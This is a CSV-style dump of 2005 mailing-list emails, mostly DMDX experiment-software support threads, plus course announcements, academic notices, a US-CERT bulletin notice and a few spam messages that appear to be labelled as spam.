Slack - Length Size Slack - Inseam Size Slack - Outseam Size *Product* Barcode Name Quantity Category Gender Make Model Type Nomenclature Size (Numeric, Letters, or Combination) Color Parishable (Returnable) Michael ",0,0 Nan Jiang ,"DMDX@psy1.psych.arizona.edu, jforster@psy1.psych.arizona.edu","Mon, 05 Dec 2005 16:16:55 -0500",[DMDX] two recent mysteries,"I encountered two mysteries with dmdx: Mystery 1: while analysing data, I noticed there is no data for Item 11. I checked the item file, it is there, and there is no problem with it. I checked the azk file, Item 11 is missing. But I also notice it is the first item after practice. I moved it to the second item and tested myself, checked the azk file; now the current first item is missing. Summary: the first item after practice does not have data. Mystery 2: I have 11 Chinese students who showed a 1 ms difference between two conditions (in ism file, same below); I have 8 Japanese students who showed a 7 ms difference between the same two conditions in the same direction (the same experiment). After I combined them into one azk file, and Analyzed it, the difference was 16 ms in the same direction. Why? Any help would be appreciated. +++++++++++++++++++++++++++ Nan Jiang, Ph.D. Assistant Professor Department of Applied Linguistics Georgia State University njiang@gsu.edu http://www.gsu.edu/~eslnxj 404-651-2936 +++++++++++++++++++++++++++ ",0,1 Nathalie Bélanger ,DMDX@psy1.psych.arizona.edu,"Mon, 05 Dec 2005 16:19:58 -0500",[DMDX] Certain misses,"Hello, I get a really high, ''timed out retraces'' (73%), ''Multiple misses'' (61%) and 'certain misses' (38.4%) percentages in the Vertical Retrace Sync Test. However, when I run the Tachischopic test, I get the values ''timed out retraces'' (1), ''Multiple misses'' (0) and 'certain misses' (0). I am preparing a masked priming LD task with very brief prime durations (2, 4 and 5 ticks) and when I test my item files, everything seems to run smoothly. Should I worry about the values found in the Vertical Retrace Sync test? Thank you, Nathalie -- Nathalie Bélanger Ph.D. Student School of Communication Sciences and Disorders McGill University 1266 Avenue des Pins ouest Montréal, Québec Canada H3G 1A8 Tel.: (514) 398-6895 ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 05 Dec 2005 14:54:52 -0700",[DMDX] Re: Certain misses,"At 04:19 PM 12/5/2005 -0500, you wrote: >Hello, > >I get a really high, ''timed out retraces'' (73%), ''Multiple misses'' >(61%) and 'certain misses' (38.4%) percentages in the Vertical Retrace >Sync Test. However, when I run the Tachischopic test, I get the values >''timed out retraces'' (1), ''Multiple misses'' (0) and 'certain misses' (0). >I am preparing a masked priming LD task with very brief prime durations >(2, 4 and 5 ticks) and when I test my item files, everything seems to run >smoothly. > >Should I worry about the values found in the Vertical Retrace Sync test? No, as stated recently as long as there aren't display errors as in your AZK file DMDX is performing admirably. It's just the Vertical Retrace Sync Test that's thrashing some machines excessively. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The problem with people who have no vices is that generally you can be pretty sure they're going to have some pretty annoying virtues. - Elizabeth Taylor ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 05 Dec 2005 14:57:17 -0700",[DMDX] Re: two recent mysteries,"At 04:16 PM 12/5/2005 -0500, you wrote: >I encountered two mysteries with dmdx: >Mystery 1: while analysing data, I noticed there is no data for Item 11. I >checked the item file, it is there, and there is no problem with it. I >checked the azk file, Item 11 is missing. But I also notice it is the >first item after practice. I moved it to the second item and tested >myself, checked the azk file; now the current first item is missing. >Summary: the first item after practice does not have data. Perhaps you have some weird feature in the item file where the practice ends as if this was happening regularly we would have seen instances of it before this. Missing semicolons are a prime suspect as are weird scramble parameters, particularly if combined with missing semi-colons. >Mystery 2: I have 11 Chinese students who showed a 1 ms difference between >two conditions (in ism file, same below); I have 8 Japanese students who >showed a 7 ms difference between the same two conditions in the same >direction (the same experiment). After I combined them into one azk file, >and Analyzed it, the difference was 16 ms in the same direction. Why? Who knows. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The problem with people who have no vices is that generally you can be pretty sure they're going to have some pretty annoying virtues. - Elizabeth Taylor ",0,0 Shiaohui Chan ,DMDX@psy1.psych.arizona.edu,"Tue, 06 Dec 2005 00:43:49 -0700",[DMDX] How to make items go together?,"Hi All, I will use fMRI to run an experiment. Subjects will see a few words and then re-arrange the words following the instruction given to them at the beginning of each trial (e.g., ""SENTENCE""). After they are done with the re-arrangement, they press a button (of a mouse) and then a + sign will appear and stay on the screen for 6 seconds. Subjects don't need to to make any response to the + sign. Here are some of the items: +1001 ""SENTENCE""/ * ""HELEN"", ""SENT"", ""THE PRESENT"", ""SANDRA""/!; 2001 ""+"" /!; I use in the parameter line to make the pair go together. Here is where the file starts to go wrong. I want to include some fillers. For these fillers, subjects will see something like item 1001 above, but then, instead of going to the + sign immediately, they will see a multiple choice question. They have to respond to that question by pressing a button. After that, the + sign will appear and stay on the screen for 6 seconds, just like item 2001 above. The multiple choice question is like this: +3001 * ""1. Helen sent Sandra the present"", ""2. Sandra sent Helen the present"", ""None of the above""/!; Here is my question. Most of the trials do not include a multiple question, so I can use to make the related items go together. But how do I make the items in the three-step trials go together? I know I probably can use $$ to group each 3-item trial and manually make them spread out to the file. But I was wondering if there is a way to merge items 2001 & 3001 into one so that after subject responds to the multiple question, the frame can go to the + sign and stay for 6 seconds? The following item is sort of what I have in mind. But I know it doesn't work (and it may look pretty stupid :-P). +4001 * ""1. Helen sent Sandra the present"", ""2. Sandra sent Helen the present"", ""None of the above""/!/""+"" /!; Does anyone have a suggestion? Thanks in advance! best, shiaohui ^^^^^^^^^^^^^^^^^^^^^^^^^ Shiaohui Chan Ph.D. Program Department of Linguistics University of Arizona Tucson, AZ 85721 e-mail: shiaohui@u.arizona.edu",0,0 Chris Letts ,DMDX@psy1.psych.arizona.edu,"Tue, 06 Dec 2005 09:43:54 -0000",[DMDX] RE: Re: two recent mysteries,"Also watch for chinese characters (it may not apply in this case) - I had instances where the text in an item line was in Chinese, but some of those characters were being interpreted as control characters (such as $ ; , etc) with strange results Chris Letts, Technical Site Manager, SECLS Speech & Language Section. >-----Original Message----- >From: DMDX-owner@psy1.psych.arizona.edu >[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of >Jonathan C. Forster >Sent: 05 December 2005 21:57 >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] Re: two recent mysteries > >At 04:16 PM 12/5/2005 -0500, you wrote: >>I encountered two mysteries with dmdx: >>Mystery 1: while analysing data, I noticed there is no data for Item >>11. I checked the item file, it is there, and there is no >problem with >>it. I checked the azk file, Item 11 is missing. But I also >notice it is >>the first item after practice. I moved it to the second item >and tested >>myself, checked the azk file; now the current first item is missing. >>Summary: the first item after practice does not have data. > > Perhaps you have some weird feature in the item file where >the practice ends as if this was happening regularly we would >have seen instances of it before this. Missing semicolons are >a prime suspect as are weird scramble parameters, particularly >if combined with missing semi-colons. > > >>Mystery 2: I have 11 Chinese students who showed a 1 ms difference >>between two conditions (in ism file, same below); I have 8 Japanese >>students who showed a 7 ms difference between the same two conditions >>in the same direction (the same experiment). After I combined >them into >>one azk file, and Analyzed it, the difference was 16 ms in >the same direction. Why? > > Who knows. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >The problem with people who have no vices is that generally >you can be pretty sure they're going to have some pretty >annoying virtues. > > - Elizabeth Taylor > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > ",0,1 Matthew Finkbeiner ,DMDX@psy1.psych.arizona.edu,"Tue, 06 Dec 2005 06:45:25 -0500",[DMDX] RE: How to make items go together?,"use a g3 and ""dummy"" items (e.g. ~9999;) on your two-trial items. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Shiaohui Chan Sent: Tuesday, December 06, 2005 2:44 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] How to make items go together? Hi All, I will use fMRI to run an experiment. Subjects will see a few words and then re-arrange the words following the instruction given to them at the beginning of each trial (e.g., ""SENTENCE""). After they are done with the re-arrangement, they press a button (of a mouse) and then a + sign will appear and stay on the screen for 6 seconds. Subjects don't need to to make any response to the + sign. Here are some of the items: +1001 ""SENTENCE""/ * ""HELEN"", ""SENT"", ""THE PRESENT"", ""SANDRA""/!; 2001 ""+"" /!; I use in the parameter line to make the pair go together. Here is where the file starts to go wrong. I want to include some fillers. For these fillers, subjects will see something like item 1001 above, but then, instead of going to the + sign immediately, they will see a multiple choice question. They have to respond to that question by pressing a button. After that, the + sign will appear and stay on the screen for 6 seconds, just like item 2001 above. The multiple choice question is like this: +3001 * ""1. Helen sent Sandra the present"", ""2. Sandra sent Helen the present"", ""None of the above""/!; Here is my question. Most of the trials do not include a multiple question, so I can use to make the related items go together. But how do I make the items in the three-step trials go together? I know I probably can use $$ to group each 3-item trial and manually make them spread out to the file. But I was wondering if there is a way to merge items 2001 & 3001 into one so that after subject responds to the multiple question, the frame can go to the + sign and stay for 6 seconds? The following item is sort of what I have in mind. But I know it doesn't work (and it may look pretty stupid :-P). +4001 * ""1. Helen sent Sandra the present"", ""2. Sandra sent Helen the present"", ""None of the above""/!/""+"" /!; Does anyone have a suggestion? Thanks in advance! best, shiaohui ^^^^^^^^^^^^^^^^^^^^^^^^^ Shiaohui Chan Ph.D. Program Department of Linguistics University of Arizona Tucson, AZ 85721 e-mail: shiaohui@u.arizona.edu",0,0 Normand Arsenault ,devfinance@ag.ohio-state.edu,"Tue, 06 Dec 2005 06:15:42 -0500",World Bank and Agriculture,"""We are ready to support India in the agriculture sector,"" Mr Praful Patel, World Bank vice-president (South Asia) The Statesman - Kolkata,India NEW DELHI, Dec. 5. http://www.thestatesman.net/page.news.php?clid=12 &theme=&usrsess=1&id=98378 Regional Conference on Microfinance in South Asia - Today and Tomorrow In New Delhi from December 5-7, 2005 http://www.worldbank.org.in/WBSITE/EXTERNAL/COUNTRIES/SOUTHASIAEXT/INDIAEXTN /0,,contentMDK:20740772~menuPK:295589~pagePK:141137~piPK:141127~theSitePK:29 5584,00.html",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 06 Dec 2005 07:57:16 -0700",[DMDX] Re: How to make items go together?,"At 12:43 AM 12/6/2005 -0700, you wrote: > >Here is my question. Most of the trials do not include a multiple >question, so I can use to make the related items go together. But >how do I make the items in the three-step trials go together? Look at the keyword. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Real Users never know what they want, but they always know when your program doesn't deliver it.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 06 Dec 2005 08:00:03 -0700",[DMDX] RE: Re: two recent mysteries,"At 09:43 AM 12/6/2005 +0000, you wrote: >Also watch for chinese characters (it may not apply in this case) - I >had instances where the text in an item line was in Chinese, but some of >those characters were being interpreted as control characters (such as $ >; , etc) with strange results That's actually a very good point, the unicode in Asian fonts can be interpreted by DMDX as Word's smart quotes and while I keep DMDX abreast of these things as they turn up I'm less likely to make Analyze aware of them. I'll check later today and see if they're in sync. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Real Users never know what they want, but they always know when your program doesn't deliver it. ",0,0 Virginia Kay ,enclgrads@CUVMC.AIS.COLUMBIA.EDU,"Tue, 06 Dec 2005 09:20:56 -0500",EXAM: German Proficientcy next Tuesday ,"GERMAN PROFICIENCY EXAM Tuesday, December 13, 2005 10:00 a.m. - 12:00 noon 303 Hamilton Hall for further information contact js2331@columbia.edu The German Proficiency Exam consists of translating an academic German text into readable, coherent English. Students should bring a good German-English dictionary. Sample exams may be obtained in 319 Hamilton Hall. The next exam will be held at the end of spring semester 2006. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 06 Dec 2005 10:12:17 -0700",[DMDX] RE: Re: two recent mysteries,"At 08:00 AM 12/6/2005 -0700, you wrote: >At 09:43 AM 12/6/2005 +0000, you wrote: >>Also watch for chinese characters (it may not apply in this case) - I >>had instances where the text in an item line was in Chinese, but some of >>those characters were being interpreted as control characters (such as $ >>; , etc) with strange results > > That's actually a very good point, the unicode in Asian fonts can be > interpreted by DMDX as Word's smart quotes and while I keep DMDX abreast > of these things as they turn up I'm less likely to make Analyze aware of > them. I'll check later today and see if they're in sync. Hmm, that's entirely non-trivial. If you can find a way to strip the special characters out you might want to make a special version of the item file that's just for use with Analyze and see if that fixes things. Making Analyze aware of different fonts is a ton of work. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The problem with people who have no vices is that generally you can be pretty sure they're going to have some pretty annoying virtues. - Elizabeth Taylor ",0,0 """John W. Nicklow"" ",dhc@lists101.his.com,"Tue, 06 Dec 2005 10:22:59 -0600",[Dhc] Faculty Position - Southern Illinois University Carbondale,"SOUTHERN ILLINOIS UNIVERSITY CARBONDALE. Southern Illinois University Carbondale (SIUC) Department of Civil and Environmental Engineering invites applications for a full-time tenure or tenure-track faculty position in Environmental, Water Resources or Geotechnical Engineering; applications will be accepted at all ranks. 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Associate Professor and Acting Chair Department of Civil and Environmental Engineering Southern Illinois University at Carbondale Carbondale, Illinois 62901-6603 E-mail: nicklow@engr.siu.edu Phone: (618) 536-2368 Fax: (618) 453-3044 Homepage: http:\\\\civil.engr.siu.edu\\nicklow ",0,0 Nan Jiang ,DMDX@psy1.psych.arizona.edu,"Tue, 06 Dec 2005 12:47:00 -0500",[DMDX] RE: Re: two recent mysteries,"the target is a Chinese word, but the data is missing in the azk file, so it may have little to do with Analyze. nan jiang +++++++++++++++++++++++++++ Nan Jiang, Ph.D. Assistant Professor Department of Applied Linguistics Georgia State University njiang@gsu.edu http://www.gsu.edu/~eslnxj 404-651-2936 +++++++++++++++++++++++++++ >>> jforster@psy1.psych.arizona.edu 12/06/05 12:12 pm >>> At 08:00 AM 12/6/2005 -0700, you wrote: >At 09:43 AM 12/6/2005 +0000, you wrote: >>Also watch for chinese characters (it may not apply in this case) - I >>had instances where the text in an item line was in Chinese, but some of >>those characters were being interpreted as control characters (such as $ >>; , etc) with strange results > > That's actually a very good point, the unicode in Asian fonts can be > interpreted by DMDX as Word's smart quotes and while I keep DMDX abreast > of these things as they turn up I'm less likely to make Analyze aware of > them. I'll check later today and see if they're in sync. Hmm, that's entirely non-trivial. If you can find a way to strip the special characters out you might want to make a special version of the item file that's just for use with Analyze and see if that fixes things. Making Analyze aware of different fonts is a ton of work. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The problem with people who have no vices is that generally you can be pretty sure they're going to have some pretty annoying virtues. - Elizabeth Taylor ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 06 Dec 2005 12:09:31 -0700",[DMDX] RE: Re: two recent mysteries,"At 12:47 PM 12/6/2005 -0500, you wrote: >the target is a Chinese word, but the data is missing in the azk file, so >it may have little to do with Analyze. The point is that those Chinese characters can look like quotes to Analyze so it can miss items. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The problem with people who have no vices is that generally you can be pretty sure they're going to have some pretty annoying virtues. - Elizabeth Taylor ",0,0 Nan Jiang ,DMDX@psy1.psych.arizona.edu,"Tue, 06 Dec 2005 14:27:19 -0500",[DMDX] RE: Re: two recent mysteries,"but i thought azk is before Analyze; it is the output of DMDX. nan jiang +++++++++++++++++++++++++++ Nan Jiang, Ph.D. Assistant Professor Department of Applied Linguistics Georgia State University njiang@gsu.edu http://www.gsu.edu/~eslnxj 404-651-2936 +++++++++++++++++++++++++++ >>> jforster@psy1.psych.arizona.edu 12/06/05 2:09 pm >>> At 12:47 PM 12/6/2005 -0500, you wrote: >the target is a Chinese word, but the data is missing in the azk file, so >it may have little to do with Analyze. The point is that those Chinese characters can look like quotes to Analyze so it can miss items. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The problem with people who have no vices is that generally you can be pretty sure they're going to have some pretty annoying virtues. - Elizabeth Taylor ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 06 Dec 2005 12:32:15 -0700",[DMDX] RE: Re: two recent mysteries,"At 02:27 PM 12/6/2005 -0500, you wrote: >but i thought azk is before Analyze; it is the output of DMDX. nan jiang Oh, sorry, my bad. Yeah, if it's missing from the .AZK then DMDX didn't run that item. Could still be the same thing though, older versions of DMDX have been caught up time and again by various combinations of characters that look like Word's smart quotes. Try updating to the latest version of DMDX and see if the problem goes away. If it does you might want to try the special version of Analyze I just cooked up that ignores all things that might or might not be MS smart quotes (meaning they better be turned off in Word): http://www.u.arizona.edu/~jforster/dmdx/Analyze%20Chinese%20Version.zip /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The problem with people who have no vices is that generally you can be pretty sure they're going to have some pretty annoying virtues. - Elizabeth Taylor ",0,1 """Steven A.Norman"" <3aubrey@access-one.com>",irc-list-web@skidmore.edu,"Tue, 06 Dec 2005 20:48:09 +0000",[QUAR] Swiss watches - replica," TRUE COPIES OF SWISS WATCHES - exact copies of the original watches - perfect as a gift for your colleagues and friends - free gift box Rolex, Patek Philippe, Omega Cartier, Bvlgari, Franck Muller .. and 15 other most famous manufacturers. http://www.vipwatchesnow.com All copies are for only $239.95 - $279.95! ________________________________ To change your mail preferences, go here ________________________________ ",1,1 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Tue, 06 Dec 2005 18:34:37 -0600",[CS382M:50] announcements,"CS382m-ers, Just a reminder of a few announcements: 1) Final exam is Friday December 16, 9am-noon, PHR 2.114 (our normal classroom) 2) Final project reports are due Friday Dec. 9 by 5pm to my assistant Gem Naivar in ACES 3.422. However, I am offering a blanket extension until 5pm on Monday Dec. 12. After that, I will not accept any more final reports regardless of any late days you have accumulated. 3) I just posted lecture notes for lectures 25 and 26 on the web page. See you tomorrow in class. Please make a point to attend as you will also be filling out course evaluations. Cheers, Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 aziot@mail.utexas.edu,cs382m@lists.cc.utexas.edu,"Tue, 06 Dec 2005 21:41:13 -0600",[CS382M:51] Office hours next week?,"Hi Dr. Keckler Are you going to have any office hours next week? Thanks Ayis Quoting Steve Keckler : > CS382m-ers, > > Just a reminder of a few announcements: > > 1) Final exam is Friday December 16, 9am-noon, PHR 2.114 (our normal > classroom) > > 2) Final project reports are due Friday Dec. 9 by 5pm to my assistant > Gem Naivar in ACES 3.422. However, I am offering a blanket extension > until 5pm on Monday Dec. 12. After that, I will not accept any more > final reports regardless of any late days you have accumulated. > > 3) I just posted lecture notes for lectures 25 and 26 on the web page. > > See you tomorrow in class. Please make a point to attend as you will > also be filling out course evaluations. > > Cheers, > > Steve Keckler Computer > Architecture and Technology Lab > Associate Professor Tel: (512) 471-9763 > Department of Computer Sciences Dept: (512) 471-7316 > 1 University Station C0500 Fax: (512) 232-1413 > The University of Texas at Austin E-mail: skeckler@cs.utexas.edu > Austin, TX 78712-0233 > http://www.cs.utexas.edu/users/skeckler >",0,1 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Tue, 06 Dec 2005 22:18:26 -0600",[CS382M:52] Re: Office hours next week?,"Yes - I'll announce them at the end of this week sometime. SK On Dec 6, 2005, at 9:41 PM, aziot@mail.utexas.edu wrote: > Hi Dr. Keckler > Are you going to have any office hours next week? > > Thanks > Ayis > > Quoting Steve Keckler : > >> CS382m-ers, >> >> Just a reminder of a few announcements: >> >> 1) Final exam is Friday December 16, 9am-noon, PHR 2.114 (our normal >> classroom) >> >> 2) Final project reports are due Friday Dec. 9 by 5pm to my assistant >> Gem Naivar in ACES 3.422. However, I am offering a blanket extension >> until 5pm on Monday Dec. 12. After that, I will not accept any more >> final reports regardless of any late days you have accumulated. >> >> 3) I just posted lecture notes for lectures 25 and 26 on the web page. >> >> See you tomorrow in class. Please make a point to attend as you will >> also be filling out course evaluations. >> >> Cheers, >> >> Steve Keckler Computer >> Architecture and Technology Lab >> Associate Professor Tel: (512) 471-9763 >> Department of Computer Sciences Dept: (512) 471-7316 >> 1 University Station C0500 Fax: (512) 232-1413 >> The University of Texas at Austin E-mail: skeckler@cs.utexas.edu >> Austin, TX 78712-0233 >> http://www.cs.utexas.edu/users/skeckler >> >> Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler",0,1 Ines Steward ,"DMDX@psy1.psych.arizona.edu, laverne@psy1.psych.arizona.edu, shawna@psy1.psych.arizona.edu, natalia@psy1.psych.arizona.edu","Wed, 07 Dec 2005 01:17:17 -0500",Hottest Diet in America,"some coroutine may womanhood or lorraine the guam but adenosine ",1,0 Bridge Language Study House ,romanianclub@columbia.edu,"Wed, 07 Dec 2005 13:22:22 +0200",International Romanian Summer Course in Transylvania - 2006," INTERNATIONAL ROMANIAN SUMMER COURSE - 2006 IN TRANSYLVANIA Bridge Language Study House Educational and International Examination Centre from Cluj Napoca offers you the unique opportunity of studying Romanian language with native speaker teachers in traditionally Transylvanian background. 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SK Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 Jeff Diamond ,cs382m@lists.cc.utexas.edu,"Wed, 07 Dec 2005 14:19:55 -0600",[CS382M:54] Re: FYI....,"And the obvious question - will this result in far less A's given out to the class? Steve Keckler wrote: > I thought I might remind you all of the recent change to > university-wide grading policies. > > http://www.utexas.edu/ogs/student_services/academic_policies/ > plus_minus.html ",0,1 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Wed, 07 Dec 2005 14:57:32 -0600",[CS382M:55] Re: FYI....,"Don't know yet! On Dec 7, 2005, at 2:19 PM, Jeff Diamond wrote: > And the obvious question - will this result in far less A's given out > to the class? > > Steve Keckler wrote: > >> I thought I might remind you all of the recent change to >> university-wide grading policies. >> >> http://www.utexas.edu/ogs/student_services/academic_policies/ >> plus_minus.html >> Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 Clare Tawney ,Development Finance ,"Thu, 08 Dec 2005 10:52:43 -0000",The Business Environment,"Dear friends The December edition of Small Enterprise Development is on the subject of the Business Environment. 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MALCOLM HARPER ARTICLES Emerging issues and debates in the reform of the business environment for small enterprise development SIMON WHITE Industry-level analysis: the way to identify the binding constraints to economic growth VINCENT PALMADE Towards a simplified tax system for small businesses in transition countries MICHAEL ENGELSCHALK Compliance costs, small firms and development GRAHAM BANNOCK Business linkages, foreign direct investment and meeting the millennium goals LORRAINE RUFFING BOOK REVIEWS Livelihood and Microfinance: Anthropological and sociological perspectives on savings and debt The Economics of Microfinance OBITUARY WEBWATCH DIARY",0,0 Charles Bond Chang ,DMDX@psy1.psych.arizona.edu,"Thu, 08 Dec 2005 07:50:07 -0800",[DMDX] question re: InputDevice,"Hello, I'm having trouble getting DMDX to recognize an input device called 'USB PAD'. I suspect this is because of the space in the name of the device, since the message I get when checking the syntax of my script is Input Device selection failed even though I've entered the name of the input device as 'USB PAD' (minus the single quotes) in the script . I've also tried replacing the space with an underscore and a number of other symbols (as well as inserting a space as a symbol from the character map in Word), but nothing seems to work. Anyone know what might be going wrong here? Thanks in advance, Charles ------------------------------------- charleschang@berkeley.edu http://socrates.berkeley.edu/~cbchang",0,1 Vannessa Wong ,DMDX@psy1.psych.arizona.edu,"Thu, 08 Dec 2005 16:28:44 +0000",[DMDX] Timing issue COT,"Hi all, When I run my experiemnt, the COT seems not match with the total time of the images presented. It's always 1-3 ticks more. I wonder whether it's because of the loading images problem or anything else. Thanks for help. Cheers, Vannessa This message has been checked for viruses but the contents of an attachment may still contain software viruses, which could damage your computer system: you are advised to perform your own checks. Email communications with the University of Nottingham may be monitored as permitted by UK legislation. ",0,0 Derek Hanley ,DMDX@psy1.psych.arizona.edu,"Thu, 08 Dec 2005 17:07:56 -0000",[DMDX] Presenting condensed/expanded text,"Hi Folks, I'd like to run an experiment presenting written words, where the font of the text is either condensed or expanded by a certain factor, so that the letters of the word appear either closer together or further apart. Microsoft Word allows you to condense or expand text fonts in the RTF file, however when I run the file on DMDX the formatting is lost and it is presented as standard text. Is there some other way to do this in MS Word? Or is there a setting in DMDX which allows this? So far, the only way I can come up with is to capture the text as bitmaps and present them that way. Any suggestions appreciated. Thanks, Derek",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 08 Dec 2005 10:25:48 -0700",[DMDX] Re: Timing issue COT,"At 04:28 PM 12/8/2005 +0000, you wrote: >Hi all, > > When I run my experiemnt, the COT seems not match with the total time > of the images presented. It's always 1-3 ticks more. I wonder whether > it's because of the loading images problem or anything else. The COT is the time from the first clockon not the start of the item file. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 08 Dec 2005 10:26:46 -0700",[DMDX] Re: question re: InputDevice,"At 07:50 AM 12/8/2005 -0800, you wrote: >Hello, > >I'm having trouble getting DMDX to recognize an input device called 'USB >PAD'. I suspect this is because of the space in the name of the device, >since the message I get when checking the syntax of my script is > > Input Device selection failed > >even though I've entered the name of the input device as 'USB PAD' (minus >the single quotes) in the script . I've also tried replacing the space >with an underscore and a number of other symbols (as well as inserting a >space as a symbol from the character map in Word), but nothing seems to >work. Anyone know what might be going wrong here? Try . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 08 Dec 2005 10:46:00 -0700",[DMDX] Re: Presenting condensed/expanded text,"At 05:07 PM 12/8/2005 +0000, you wrote: >Hi Folks, > >I'd like to run an experiment presenting written words, where the font of >the text is either condensed or expanded by a certain factor, so that the >letters of the word appear either closer together or further apart. >Microsoft Word allows you to condense or expand text fonts in the RTF >file, however when I run the file on DMDX the formatting is lost and it is >presented as standard text. Is there some other way to do this in MS Word? >Or is there a setting in DMDX which allows this? So far, the only way I >can come up with is to capture the text as bitmaps and present them that way. You can probably use the keyword with the fixed space option and display each letter in a separate frame something like this: +1 ""w"", ""o"", ""r"", ""d"" *; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983",0,0 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 08 Dec 2005 13:31:46 -0500","US-CERT Cyber Security Bulletin SB05-341 -- Summary of Security Items from December 1 through December 7, 2005 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from December 1 through December 7, 2005 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from December 1 through December 7, 2005, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ5h7wH0pj593lg50AQKbPQf9G40zZ6u01wwW24a39FJKtqfc49OZ7yGt nE5wtEha5sD91Lfe+cemYv6WRN+FWfTq91+/+t7w9KIsmVfxgMQLCXNrC4B1AbES rjsZyx58jZvgvtBm1XYb5D55nvywON3/na7h9p1IKQsYu/psX7p4+9UjbP/e6Rgp lAWGLZlkEzLN4GUXkmf2Fhx01EDzrjzi4IXi9xQ/ys7rpAS47/oVzIA8ZngHGsBM swgM7zHx0YJoXiqzsHsYtzWW6qfqhljcCZEfhhrGgP7QB8Jy/EQzsYyCmS4QJdu0 PrAkS+bSAA20KB1V5xplb7gzZ2PiQUcM4BFuy0qcBzWlJ3UwVdTUNw== =BNmi -----END PGP SIGNATURE-----",0,1 """Convulses U. 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Thanks, Derek Derek Eder Bagaregårdsgatan 3E, nr 134 SE 416 70 Göteborg (Gothenburg) Sverige (Sweden) +46 (031) 25 97 07 (home) +46 0709 721 283 (mobil) email: 